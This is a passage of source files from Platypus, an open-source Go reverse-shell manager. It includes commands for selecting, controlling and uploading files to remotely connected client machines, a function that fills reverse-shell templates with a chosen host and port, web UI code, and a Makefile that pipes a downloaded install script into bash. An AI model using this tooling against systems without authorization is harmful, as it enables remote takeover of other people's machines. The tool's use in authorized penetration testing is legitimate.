will set only at the `Jump` command once. 37 | // If we jump to a client before the os & user is detected 38 | // So the prompt will be: 39 | // (Unknown) 127.0.0.1:43802 [unknown] » 40 | readLineInstance.SetPrompt(color.CyanString(context.Ctx.Current.GetPrompt())) 41 | return 42 | } 43 | 44 | // TermiteClient 45 | var targetTermite *context.TermiteClient = context.Ctx.FindTermiteClientByHash(clue) 46 | 47 | if targetTermite == nil { 48 | targetTermite = context.Ctx.FindTermiteClientByAlias(clue) 49 | } 50 | 51 | if targetTermite != nil { 52 | context.Ctx.Current = nil 53 | context.Ctx.CurrentTermite = targetTermite 54 | log.Success("The current termite interactive shell is set to: %s", context.Ctx.CurrentTermite.FullDesc()) 55 | readLineInstance.SetPrompt(color.CyanString(context.Ctx.CurrentTermite.GetPrompt())) 56 | return 57 | } 58 | 59 | log.Error("No such node: %s", clue) 60 | } 61 | 62 | func (dispatcher commandDispatcher) JumpHelp(args []string) { 63 | fmt.Println("Usage of Jump") 64 | fmt.Println("\tJump [HASH | NAME]") 65 | fmt.Println("\tHASH\tThe hash of a node which you want to interact with.") 66 | fmt.Println("\tNAME\tThe name of a node which you want to interact with. The name can be set via `Rename` command.") 67 | } 68 | 69 | func (dispatcher commandDispatcher) JumpDesc(args []string) { 70 | fmt.Println("Jump") 71 | fmt.Println("\tJump to a node, waiting for interactiving with it.") 72 | } 73 | -------------------------------------------------------------------------------- /web/frontend/src/logo.svg: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/gather.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | "github.com/fatih/color" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Gather(args []string) { 12 | if len(args) > 1 { 13 | log.Error("Arguments error, use `Help Gather` to get more information") 14 | dispatcher.GatherHelp([]string{}) 15 | return 16 | } 17 | 18 | if len(args) == 0 { 19 | if context.Ctx.Current == nil && context.Ctx.CurrentTermite == nil { 20 | log.Error("Interactive session is not set, please use `Jump` command to set the interactive Interact") 21 | return 22 | } 23 | 24 | if context.Ctx.Current != nil { 25 | current := context.Ctx.Current 26 | current.GatherClientInfo(current.GetHashFormat()) 27 | readLineInstance.SetPrompt(color.CyanString(current.GetPrompt())) 28 | return 29 | } 30 | 31 | if context.Ctx.CurrentTermite != nil { 32 | current := context.Ctx.CurrentTermite 33 | current.GatherClientInfo(current.GetHashFormat()) 34 | readLineInstance.SetPrompt(color.CyanString(current.GetPrompt())) 35 | return 36 | } 37 | } else { 38 | clue := args[0] 39 | // Client information 40 | targetClient := context.Ctx.FindTCPClientByHash(clue) 41 | if targetClient != nil { 42 | targetClient.GatherClientInfo(targetClient.GetHashFormat()) 43 | readLineInstance.SetPrompt(color.CyanString(targetClient.GetPrompt())) 44 | return 45 | } 46 | 47 | // Client information 48 | targetTermiteClient := context.Ctx.FindTermiteClientByHash(clue) 49 | if targetTermiteClient != nil { 50 | targetTermiteClient.GatherClientInfo(targetTermiteClient.GetHashFormat()) 51 | readLineInstance.SetPrompt(color.CyanString(targetTermiteClient.GetPrompt())) 52 | return 53 | } 54 | 55 | // Server information 56 | targetServer := context.Ctx.FindServerByHash(clue) 57 | if targetServer != nil { 58 | for _, client := range targetServer.Clients { 59 | client.GatherClientInfo(client.GetHashFormat()) 60 | } 61 | return 62 | } 63 | log.Error("No such node") 64 | } 65 | } 66 | 67 | func (dispatcher commandDispatcher) GatherHelp(args []string) { 68 | fmt.Println("Usage of Gather") 69 | fmt.Println("\tGather [HASH]") 70 | fmt.Println("\tHASH\tThe hash of an node, node can be both a server or a client") 71 | } 72 | 73 | func (dispatcher commandDispatcher) GatherDesc(args []string) { 74 | fmt.Println("Gather") 75 | fmt.Println("\tGather information from the current client or the client with hash provided") 76 | } 77 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/turn.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Turn(args []string) { 12 | if len(args) != 1 { 13 | log.Error("Arguments error, use `Help Turn` to get more Turnrmation") 14 | dispatcher.TurnHelp([]string{}) 15 | return 16 | } 17 | 18 | hash := strings.ToLower(args[0]) 19 | 20 | // handle the hash represent a server 21 | server := context.Ctx.FindServerByHash(hash) 22 | if server != nil { 23 | for _, client := range (*server).GetAllTCPClients() { 24 | client.GroupDispatch = !client.GroupDispatch 25 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 26 | } 27 | for _, client := range (*server).GetAllTermiteClients() { 28 | client.GroupDispatch = !client.GroupDispatch 29 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 30 | } 31 | return 32 | } 33 | 34 | // handle the hash represent a client 35 | client := context.Ctx.FindTCPClientByHash(hash) 36 | if client != nil { 37 | client.GroupDispatch = !client.GroupDispatch 38 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 39 | } else { 40 | // handle the hash represent a termite client 41 | termiteclient := context.Ctx.FindTermiteClientByHash(hash) 42 | if termiteclient != nil { 43 | termiteclient.GroupDispatch = !termiteclient.GroupDispatch 44 | log.Success("[%t->%t] %s", !termiteclient.GroupDispatch, termiteclient.GroupDispatch, termiteclient.FullDesc()) 45 | } else { 46 | // handle invalid hash 47 | log.Error("No such node") 48 | } 49 | } 50 | } 51 | 52 | func (dispatcher commandDispatcher) TurnHelp(args []string) { 53 | fmt.Println("Usage of Turn") 54 | fmt.Println("\tTurn [HASH]") 55 | fmt.Println("\tHASH\tThe hash of an node, node can be both a server or a client") 56 | fmt.Println("\t\tThe hash can either be the hash of an client or the hash of an server") 57 | fmt.Println("\t\tWhen the server: Swiching ON/OFF state of all clients related to this server") 58 | fmt.Println("\t\tWhen the client: Swiching ON/OFF state of the client") 59 | } 60 | 61 | func (dispatcher commandDispatcher) TurnDesc(args []string) { 62 | fmt.Println("Turn") 63 | fmt.Println("\tSwitch the interactive field of a node(s), allows you to interactive with it(them)") 64 | fmt.Println("\tIf the current status is ON, it will turns to OFF. If OFF, turns ON") 65 | } 66 | -------------------------------------------------------------------------------- /web/ttyd/src/components/terminal/overlay.ts: -------------------------------------------------------------------------------- 1 | // ported from hterm.Terminal.prototype.showOverlay 2 | // https://chromium.googlesource.com/apps/libapps/+/master/hterm/js/hterm_terminal.js 3 | import { ITerminalAddon, Terminal } from 'xterm'; 4 | 5 | export class OverlayAddon implements ITerminalAddon { 6 | private terminal: Terminal | undefined; 7 | private overlayNode: HTMLElement | null; 8 | private overlayTimeout: number | null; 9 | 10 | constructor() { 11 | this.overlayNode = document.createElement('div'); 12 | this.overlayNode.style.cssText = `border-radius: 15px; 13 | font-size: xx-large; 14 | opacity: 0.75; 15 | padding: 0.2em 0.5em 0.2em 0.5em; 16 | position: absolute; 17 | -webkit-user-select: none; 18 | -webkit-transition: opacity 180ms ease-in; 19 | -moz-user-select: none; 20 | -moz-transition: opacity 180ms ease-in;`; 21 | 22 | this.overlayNode.addEventListener( 23 | 'mousedown', 24 | e => { 25 | e.preventDefault(); 26 | e.stopPropagation(); 27 | }, 28 | true 29 | ); 30 | } 31 | 32 | activate(terminal: Terminal): void { 33 | this.terminal = terminal; 34 | } 35 | 36 | dispose(): void {} 37 | 38 | showOverlay(msg: string, timeout?: number): void { 39 | const { terminal, overlayNode } = this; 40 | 41 | overlayNode.style.color = '#101010'; 42 | overlayNode.style.backgroundColor = '#f0f0f0'; 43 | overlayNode.textContent = msg; 44 | overlayNode.style.opacity = '0.75'; 45 | 46 | if (!overlayNode.parentNode) { 47 | terminal.element.appendChild(overlayNode); 48 | } 49 | 50 | const divSize = terminal.element.getBoundingClientRect(); 51 | const overlaySize = overlayNode.getBoundingClientRect(); 52 | 53 | overlayNode.style.top = (divSize.height - overlaySize.height) / 2 + 'px'; 54 | overlayNode.style.left = (divSize.width - overlaySize.width) / 2 + 'px'; 55 | 56 | if (this.overlayTimeout) { 57 | clearTimeout(this.overlayTimeout); 58 | } 59 | if (timeout === null) { 60 | return; 61 | } 62 | 63 | const self = this; 64 | self.overlayTimeout = setTimeout(() => { 65 | overlayNode.style.opacity = '0'; 66 | self.overlayTimeout = setTimeout(() => { 67 | if (overlayNode.parentNode) { 68 | overlayNode.parentNode.removeChild(overlayNode); 69 | } 70 | self.overlayTimeout = null; 71 | overlayNode.style.opacity = '0.75'; 72 | }, 200) as any; 73 | }, timeout || 1500) as any; 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /web/ttyd/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "private": true, 3 | "name": "ttyd", 4 | "version": "1.0.0", 5 | "description": "Share your terminal over the web", 6 | "repository": { 7 | "url": "git@github.com:tsl0922/ttyd.git", 8 | "type": "git" 9 | }, 10 | "author": "Shuanglei Tao ", 11 | "license": "MIT", 12 | "scripts": { 13 | "prestart": "gulp clean", 14 | "start": "webpack serve", 15 | "build": "NODE_ENV=production webpack && gulp", 16 | "inline": "NODE_ENV=production webpack && gulp inline", 17 | "build-win": "set NODE_ENV=production && webpack && gulp", 18 | "inline-win": "set NODE_ENV=production && webpack && gulp inline", 19 | "check": "gts check", 20 | "fix": "gts fix" 21 | }, 22 | "husky": { 23 | "hooks": { 24 | "pre-commit": "lint-staged" 25 | } 26 | }, 27 | "lint-staged": { 28 | "src/**/*.ts": [ 29 | "gts fix", 30 | "git add" 31 | ], 32 | "src/**/*.scss": [ 33 | "scssfmt", 34 | "git add" 35 | ] 36 | }, 37 | "devDependencies": { 38 | "@types/express": "^4.17.21", 39 | "css-loader": "^5.2.0", 40 | "gts": "^1.1.2", 41 | "gulp": "^4.0.2", 42 | "gulp-clean": "^0.4.0", 43 | "gulp-gzip": "^1.4.2", 44 | "gulp-inline-source": "^4.0.0", 45 | "gulp-rename": "^2.0.0", 46 | "husky": "^6.0.0", 47 | "lint-staged": "^10.5.4", 48 | "mini-css-extract-plugin": "^1.4.0", 49 | "sass": "^1.49.9", 50 | "sass-loader": "^10.1.1", 51 | "scssfmt": "^1.0.7", 52 | "style-loader": "^2.0.0", 53 | "through2": "^4.0.2", 54 | "ts-loader": "^8.1.0", 55 | "tslint": "^6.1.3", 56 | "tslint-loader": "^3.5.4", 57 | "typescript": "^5.6.2", 58 | "webpack-cli": "^5.1.4", 59 | "yarn-audit-fix": "^6.3.8" 60 | }, 61 | "dependencies": { 62 | "backoff": "^2.5.0", 63 | "copy-webpack-plugin": "^12.0.2", 64 | "decko": "^1.2.0", 65 | "file-saver": "^2.0.5", 66 | "glob-parent": "^6.0.1", 67 | "html-webpack-plugin": "^5.6.0", 68 | "optimize-css-assets-webpack-plugin": "^6.0.1", 69 | "preact": "^10.5.13", 70 | "trim-newlines": "^4.0.2", 71 | "util": "^0.12.5", 72 | "webpack": "^5.94.0", 73 | "webpack-dev-server": "^5.2.1", 74 | "whatwg-fetch": "^3.6.2", 75 | "xterm": "^4.11.0", 76 | "xterm-addon-fit": "^0.5.0", 77 | "xterm-addon-web-links": "^0.4.0", 78 | "xterm-addon-webgl": "^0.10.0", 79 | "yargs-parser": "^20.2.9", 80 | "zmodem.js": "^0.1.10" 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /internal/utils/raas/raas.go: -------------------------------------------------------------------------------- 1 | package raas 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strconv" 7 | "strings" 8 | 9 | "github.com/WangYihang/Platypus/internal/utils/log" 10 | ) 11 | 12 | func ParsePort(host string, defaultPort uint16) uint16 { 13 | pair := strings.Split(host, ":") 14 | if len(pair) < 2 { 15 | return defaultPort 16 | } 17 | port, err := strconv.Atoi(pair[len(pair)-1]) 18 | if err != nil { 19 | return defaultPort 20 | } 21 | return uint16(port) 22 | } 23 | 24 | func ParseHostname(host string) string { 25 | return strings.Split(host, ":")[0] 26 | } 27 | 28 | func URI2Command(requestURI string, httpHost string) string { 29 | // eg: 30 | // "/python" -> "python" -> {"python"} 31 | // "/python/" -> "python" -> {"python"} 32 | // "/8.8.8.8/1337" -> "8.8.8.8/1337" -> {"8.8.8.8", "1337"} 33 | // "/8.8.8.8/1337/" -> "8.8.8.8/1337" -> {"8.8.8.8", "1337"} 34 | // "/8.8.8.8/1337/python" -> "8.8.8.8/1337/python" -> {"8.8.8.8", "1337", "python"} 35 | // "/8.8.8.8/1337/python/" -> "8.8.8.8/1337/python" -> {"8.8.8.8", "1337", "python"} 36 | // "/8.8.8.8/1337/python///" -> "8.8.8.8/1337/python" -> {"8.8.8.8", "1337", "python"} 37 | target := strings.Split(strings.Trim(requestURI, "/"), "/") 38 | 39 | // step 1: parse host and port, default set to the platypus listening port currently 40 | host := ParseHostname(httpHost) 41 | port := ParsePort(httpHost, 80) 42 | 43 | if strings.HasPrefix(requestURI, "/") && len(target) > 1 { 44 | host = target[0] 45 | // TODO: ensure the format of port is int16 46 | t, err := strconv.Atoi(target[1]) 47 | port = uint16(t) 48 | if err != nil { 49 | log.Debug("Invalid port number: %s", target[1]) 50 | } 51 | } 52 | 53 | // step 2: parse language 54 | // language is the last element of target 55 | language := strings.Replace(target[len(target)-1], ".", "", -1) 56 | 57 | // step 3: read template 58 | // template rendering in golang tastes like shit, 59 | // here we will trying to use string replace temporarily. 60 | // read reverse shell template file from assets 61 | // preread to check the language is valid or not 62 | templateFilename := fmt.Sprintf("assets/template/rsh/%s.tpl", language) 63 | _, err := os.ReadFile(templateFilename) 64 | if err != nil { 65 | templateFilename = "assets/template/rsh/bash.tpl" 66 | } 67 | templateContent, _ := os.ReadFile(templateFilename) 68 | 69 | // step 4: render target host and port into template 70 | renderedContent := string(templateContent) 71 | renderedContent = strings.Replace(renderedContent, "__HOST__", host, -1) 72 | renderedContent = strings.Replace(renderedContent, "__PORT__", strconv.Itoa(int(port)), -1) 73 | return renderedContent 74 | } 75 | -------------------------------------------------------------------------------- /cmd/platypus-server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | 7 | "github.com/WangYihang/Platypus/internal/cli/dispatcher" 8 | "github.com/WangYihang/Platypus/internal/context" 9 | "github.com/WangYihang/Platypus/internal/utils/config" 10 | "github.com/WangYihang/Platypus/internal/utils/log" 11 | "github.com/WangYihang/Platypus/internal/utils/update" 12 | "github.com/pkg/browser" 13 | "github.com/spf13/viper" 14 | ) 15 | 16 | var cfg config.Config 17 | var v = viper.New() 18 | 19 | func init() { 20 | // Configure Viper 21 | v.SetConfigName("config") 22 | v.SetConfigType("yml") 23 | v.AddConfigPath(".") 24 | if err := v.ReadInConfig(); err != nil { 25 | if _, ok := err.(viper.ConfigFileNotFoundError); ok { 26 | log.Error("Config file not found") 27 | } else { 28 | log.Error("Failed to read config file: %v", err) 29 | } 30 | return 31 | } 32 | if err := v.Unmarshal(&cfg); err != nil { 33 | log.Error("Failed to unmarshal config: %v", err) 34 | return 35 | } 36 | } 37 | 38 | func main() { 39 | 40 | // Display platypus information 41 | log.Success("Platypus %s is starting...", update.Version) 42 | log.Success("Using configuration file: %s", v.ConfigFileUsed()) 43 | 44 | // Create context 45 | context.CreateContext() 46 | context.Ctx.Config = &cfg 47 | 48 | // Detect new version 49 | if cfg.Update { 50 | update.ConfirmAndSelfUpdate() 51 | } 52 | 53 | // Init distributor server from config file 54 | rh := cfg.Distributor.Host 55 | rp := cfg.Distributor.Port 56 | distributor := context.CreateDistributorServer(rh, rp, cfg.Distributor.Url) 57 | 58 | go distributor.Run(fmt.Sprintf("%s:%d", rh, rp)) 59 | 60 | // Init RESTful Server from config file 61 | if cfg.RESTful.Enable { 62 | rh := cfg.RESTful.Host 63 | rp := cfg.RESTful.Port 64 | rest := context.CreateRESTfulAPIServer() 65 | go rest.Run(fmt.Sprintf("%s:%d", rh, rp)) 66 | log.Success("Web FrontEnd started at: http://%s:%d/", rh, rp) 67 | log.Success("You can use Web FrontEnd to manager all your clients with any web browser.") 68 | log.Success("RESTful API EndPoint at: http://%s:%d/api/", rh, rp) 69 | log.Success("You can use PythonSDK to manager all your clients automatically.") 70 | context.Ctx.RESTful = rest 71 | } 72 | 73 | // Init servers from config file 74 | for _, s := range cfg.Servers { 75 | server := context.CreateTCPServer(s.Host, uint16(s.Port), s.HashFormat, s.Encrypted, s.DisableHistory, s.PublicIP, s.ShellPath) 76 | if server != nil { 77 | // avoid terminal being disrupted 78 | time.Sleep(0x100 * time.Millisecond) 79 | go (*server).Run() 80 | } 81 | } 82 | 83 | if cfg.OpenBrowser { 84 | browser.OpenURL(fmt.Sprintf("http://%s:%d/", cfg.RESTful.Host, cfg.RESTful.Port)) 85 | } 86 | 87 | // Run main loop 88 | dispatcher.REPL() 89 | } 90 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/switching.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/WangYihang/Platypus/internal/context" 8 | "github.com/WangYihang/Platypus/internal/utils/log" 9 | ) 10 | 11 | func (dispatcher commandDispatcher) Switching(args []string) { 12 | if len(args) != 1 { 13 | log.Error("Arguments error, use `Help Switching` to get more Switchingrmation") 14 | dispatcher.SwitchingHelp([]string{}) 15 | return 16 | } 17 | 18 | // handle the hash represent a server 19 | for _, server := range context.Ctx.Servers { 20 | if strings.HasPrefix(server.Hash, strings.ToLower(args[0])) { 21 | // flip server `GroupDispatch` state 22 | server.GroupDispatch = !server.GroupDispatch 23 | // flush all clients related to this server 24 | for _, client := range (*server).GetAllTCPClients() { 25 | client.GroupDispatch = server.GroupDispatch 26 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 27 | } 28 | for _, client := range (*server).GetAllTermiteClients() { 29 | client.GroupDispatch = server.GroupDispatch 30 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 31 | } 32 | return 33 | } 34 | } 35 | 36 | // handle the hash represent a client 37 | for _, server := range context.Ctx.Servers { 38 | for _, client := range (*server).GetAllTCPClients() { 39 | if strings.HasPrefix(client.Hash, strings.ToLower(args[0])) { 40 | client.GroupDispatch = !client.GroupDispatch 41 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 42 | return 43 | } 44 | } 45 | for _, client := range (*server).GetAllTermiteClients() { 46 | if strings.HasPrefix(client.Hash, strings.ToLower(args[0])) { 47 | client.GroupDispatch = !client.GroupDispatch 48 | log.Success("[%t->%t] %s", !client.GroupDispatch, client.GroupDispatch, client.FullDesc()) 49 | return 50 | } 51 | } 52 | } 53 | 54 | // handle invalid hash 55 | log.Error("No such node") 56 | } 57 | 58 | func (dispatcher commandDispatcher) SwitchingHelp(args []string) { 59 | fmt.Println("Usage of Switching") 60 | fmt.Println("\tSwitching [HASH]") 61 | fmt.Println("\tHASH\tThe hash of an node, node can be both a server or a client") 62 | fmt.Println("\t\tThe hash can either be the hash of an client or the hash of an server") 63 | fmt.Println("\t\tWhen the server: Swiching ON/OFF ALL the clients related to this server") 64 | fmt.Println("\t\tWhen the client: Swiching ON/OFF state of the client") 65 | } 66 | 67 | func (dispatcher commandDispatcher) SwitchingDesc(args []string) { 68 | fmt.Println("Switching") 69 | fmt.Println("\tSwitch the interactive field of a node(s), allows you to interactive with it(them)") 70 | fmt.Println("\tIf the current status is ON, it will turns to OFF. If OFF, turns ON") 71 | } 72 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/upload.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "time" 7 | 8 | "github.com/WangYihang/Platypus/internal/context" 9 | "github.com/WangYihang/Platypus/internal/utils/log" 10 | oss "github.com/WangYihang/Platypus/internal/utils/os" 11 | "github.com/vbauerster/mpb/v6" 12 | "github.com/vbauerster/mpb/v6/decor" 13 | ) 14 | 15 | func (dispatcher commandDispatcher) Upload(args []string) { 16 | if len(args) != 2 { 17 | log.Error("Arguments error, use `Help Upload` to get more information") 18 | dispatcher.UploadHelp([]string{}) 19 | return 20 | } 21 | 22 | if context.Ctx.Current == nil && context.Ctx.CurrentTermite == nil { 23 | log.Error("The current client is not set, please use `Jump` command to select the current client") 24 | return 25 | } 26 | 27 | src := args[0] 28 | dst := args[1] 29 | 30 | if context.Ctx.Current != nil { 31 | 32 | if context.Ctx.Current.OS == oss.Windows { 33 | log.Error("Upload command does not support Windows platform") 34 | return 35 | } 36 | 37 | context.Ctx.Current.Upload(src, dst, false) 38 | 39 | // TODO: Check file md5 to verify 40 | log.Success("File %s uploaded to %s", src, dst) 41 | return 42 | } 43 | 44 | if context.Ctx.CurrentTermite != nil { 45 | log.Info("Uploading %s to %s from client: %s", src, dst, context.Ctx.CurrentTermite.OnelineDesc()) 46 | 47 | srcfd, err := os.OpenFile(src, os.O_RDONLY, 0644) 48 | if err != nil { 49 | log.Error(err.Error()) 50 | return 51 | } 52 | fi, _ := srcfd.Stat() 53 | totalBytes := fi.Size() 54 | 55 | // Progress bar 56 | p := mpb.New( 57 | mpb.WithWidth(64), 58 | ) 59 | 60 | bar := p.Add(int64(totalBytes), mpb.NewBarFiller("[=>-|"), 61 | mpb.PrependDecorators( 62 | decor.CountersKibiByte("% .2f / % .2f"), 63 | ), 64 | mpb.AppendDecorators( 65 | decor.EwmaETA(decor.ET_STYLE_HHMMSS, 60), 66 | decor.Name(" ] "), 67 | decor.EwmaSpeed(decor.UnitKB, "% .2f", 60), 68 | ), 69 | ) 70 | 71 | blockSize := int64(0x400 * 512) // 128KB 72 | buffer := make([]byte, blockSize) 73 | 74 | for i := int64(0); i < totalBytes; i += blockSize { 75 | start := time.Now() 76 | n, err := srcfd.Read(buffer) 77 | if err != nil { 78 | bar.Abort(true) 79 | log.Error("%s", err) 80 | return 81 | } 82 | if n, err = context.Ctx.CurrentTermite.WriteFileEx(dst, buffer[0:n]); err != nil { 83 | log.Error("Failed to write data to target file: %s", err) 84 | bar.Abort(true) 85 | return 86 | } 87 | bar.IncrBy(n) 88 | bar.DecoratorEwmaUpdate(time.Since(start)) 89 | } 90 | p.Wait() 91 | return 92 | } 93 | } 94 | 95 | func (dispatcher commandDispatcher) UploadHelp(args []string) { 96 | fmt.Println("Usage of Upload") 97 | fmt.Println("\tUpload [SRC] [DST]") 98 | } 99 | 100 | func (dispatcher commandDispatcher) UploadDesc(args []string) { 101 | fmt.Println("Upload") 102 | fmt.Println("\tUpload file from local machine to remote server") 103 | } 104 | -------------------------------------------------------------------------------- /web/frontend/src/components/Modal/UpgradeToTermite/UpgradeToTermite.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Modal, Button, Select, Input } from "antd"; 3 | 4 | const { Option } = Select; 5 | 6 | export default class UpgradeToTermite extends React.Component { 7 | render() { 8 | let upgradeButton; 9 | if (this.props.line.CurrentProcessKey === undefined) { 10 | upgradeButton = 11 | } else { 12 | upgradeButton = "" 13 | } 14 | 15 | return ( 16 | <> 17 | 26 | {upgradeButton} 27 | { 28 | this.props.upgradeToTermite(this.props.line.hash, this.props.connectBack) 29 | this.props.handleOk(this.props.line.hash) 30 | }} onCancel={() => this.props.handleCancel()}> 31 | Select Termite Listeners: 32 | 59 | Input Termite Listeners Manually: 60 | { 61 | this.props.setConnectBack(e.target.value) 62 | }} /> 63 | 64 | 65 | ); 66 | } 67 | } 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /docs/platypus/blog/2019-05-29-long-blog-post.md: -------------------------------------------------------------------------------- 1 | --- 2 | slug: long-blog-post 3 | title: Long Blog Post 4 | authors: yangshun 5 | tags: [hello, docusaurus] 6 | --- 7 | 8 | This is the summary of a very long blog post, 9 | 10 | Use a `` comment to limit blog post size in the list view. 11 | 12 | 13 | 14 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 15 | 16 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 17 | 18 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 19 | 20 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 21 | 22 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 23 | 24 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 25 | 26 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 27 | 28 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 29 | 30 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 31 | 32 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 33 | 34 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 35 | 36 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 37 | 38 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 39 | 40 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 41 | 42 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 43 | 44 | Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque elementum dignissim ultricies. Fusce rhoncus ipsum tempor eros aliquam consequat. Lorem ipsum dolor sit amet 45 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: release 2 | 3 | build: build_platypus 4 | 5 | install_dependency: 6 | sudo apt update 7 | # Nodejs 8 | node --version || (curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash && bash -c "source ${HOME}/.nvm/nvm.sh && nvm install 14.19.0 && npm install -g yarn") 9 | # Golang 10 | axel --version || sudo apt install -y axel 11 | unar --version || sudo apt install -y unar 12 | git --version || sudo apt install -y git 13 | go-bindata --version || sudo apt install -y go-bindata 14 | go version || (sudo axel https://go.dev/dl/go1.17.7.linux-amd64.tar.gz && sudo rm -rf /usr/local/go && sudo tar -C /usr/local -xzf go1.17.7.linux-amd64.tar.gz) 15 | go env -w GO111MODULE=on 16 | go env -w GOPROXY=https://goproxy.cn,direct 17 | # upx 18 | sudo apt install -y upx 19 | 20 | prepare: 21 | bash -c "[[ -d termites ]] || mkdir termites" 22 | bash -c "[[ -d build ]] || mkdir build" 23 | 24 | build_frontend: prepare 25 | echo "Building frontend" 26 | cd web/frontend && bash -c "source ${HOME}/.nvm/nvm.sh && yarn install && NODE_OPTIONS='--max-old-space-size=1024' yarn build" 27 | echo "Building ttyd" 28 | cd web/ttyd && bash -c "source ${HOME}/.nvm/nvm.sh && yarn install && NODE_OPTIONS='--max-old-space-size=1024' yarn build" 29 | 30 | build_termite: prepare 31 | echo "Building termite" 32 | # echo -e "Building termite_linux_amd64" 33 | env GOOS=linux GOARCH=amd64 go build -ldflags="-s -w " -trimpath -o ./build/termite/termite_linux_amd64 cmd/termite/main.go 34 | # echo -e "Building termite_linux_arm" 35 | env GOOS=linux GOARCH=arm GOARM=5 go build -ldflags="-s -w " -trimpath -o ./build/termite/termite_linux_arm cmd/termite/main.go 36 | 37 | collect_assets: build_frontend build_termite 38 | echo "Collecting assets files" 39 | go-bindata -pkg assets -o ./internal/util/assets/assets.go ./assets/config.example.yml ./assets/template/rsh/... ./web/ttyd/dist/... ./web/frontend/build/... ./build/termite/... 40 | 41 | dev: 42 | env GOOS=linux GOARCH=amd64 go build -ldflags="-s -w " -trimpath -o ./build/termite/termite_linux_amd64 cmd/termite/main.go 43 | go-bindata -pkg assets -o ./internal/util/assets/assets.go ./assets/config.example.yml ./assets/template/rsh/... ./web/ttyd/dist/... ./web/frontend/build/... ./build/termite/... 44 | go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus cmd/platypus/main.go 45 | 46 | build_platypus: collect_assets 47 | echo "Building platypus" 48 | go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus cmd/platypus/main.go 49 | 50 | release: install_dependency collect_assets 51 | # Linux 52 | env GOOS=linux GOARCH=amd64 go build 